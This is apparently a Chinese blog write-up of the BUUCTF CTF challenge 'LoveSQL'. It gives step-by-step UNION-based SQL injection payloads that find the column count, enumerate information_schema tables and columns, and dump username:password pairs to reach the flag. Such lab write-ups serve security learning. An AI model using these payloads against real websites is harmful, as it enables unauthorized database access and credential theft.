【极客大挑战2019】LoveSQL解题

红太狼 2023-10-06 19:53 37阅读 0赞

1、打开靶机：[BUUCTF在线评测][BUUCTF]，选择web---->【极客大挑战2019】LoveSQL

打开被测试站点，是这个样子的，是上一题EasySQL的延续。

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16][]

2、EasySQL那道题采用万能密码，我们也直接使用万能密码试一下，结果如下：

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 1][]

直接给出了密码。

使用正确的用户名和密码登录一下，结果还是

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 2][]

那使用MD5库碰撞一下，结果也没碰撞出来。

3、继续寻常注入吧。

**爆破有多少列（字段数）**

> username=admin&password=6ec1cab790051296b99514856f25f48b' order by 3 %23 //不报错
> 
> username=admin&password=6ec1cab790051296b99514856f25f48b' order by 4 %23 //报错

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 3][]

可知一共有3列。

**爆破注入点**

> username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,3 %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 4][]

**爆破数据库**

> username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,database() %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 5][]

**爆破表名**

> username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group\_concat(table\_name) from information\_schema.tables where table\_schema=database() %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 6][]

**先爆表geekuser字段名**

> username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group\_concat(column\_name) from information\_schema.columns where table\_schema=database() and table\_name='geekuser' %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 7][]

**在爆破表l0ve1ysq1字段**

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 8][]

两个表的字段，都是id,username,password

**爆表geekuser数据**

> username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group\_concat(username,0x3a,password) from geekuser %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 9][]

结果不是我们想要的。

**继续爆表l0ve1ysq1数据**

> username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group\_concat(username,0x3a,password) from l0ve1ysq1 %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 10][]

爆出flag。

[BUUCTF]: https://buuoj.cn/challenges
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16]: https://img-blog.csdnimg.cn/f55ffaecf5ec4506833350cc12de6c1a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]: https://img-blog.csdnimg.cn/5fa0b4f23f464d9c8c869591100a8f53.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]: https://img-blog.csdnimg.cn/64f6c49ea9ab4023be2967223f2c2576.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 3]: https://img-blog.csdnimg.cn/d14e4a0e1da441d09f53feee705e8eea.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 4]: https://img-blog.csdnimg.cn/33a745e7fb2e408bb9e1d30fa9bda6a0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 5]: https://img-blog.csdnimg.cn/ccf721b6df214997afabc18acc29e690.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 6]: https://img-blog.csdnimg.cn/435e6118b5e64c23966767b3a54eb7e3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 7]: https://img-blog.csdnimg.cn/39f2ccaa0c3c4dcca5c296a024f6502e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 8]: https://img-blog.csdnimg.cn/8438d3d66ff54821a85e5370ee10eec1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 9]: https://img-blog.csdnimg.cn/f7a1bda9c33441ce90f698c80001cb58.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 10]: https://img-blog.csdnimg.cn/62e0a3e6f54c43509a21b2a4b4a1f245.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16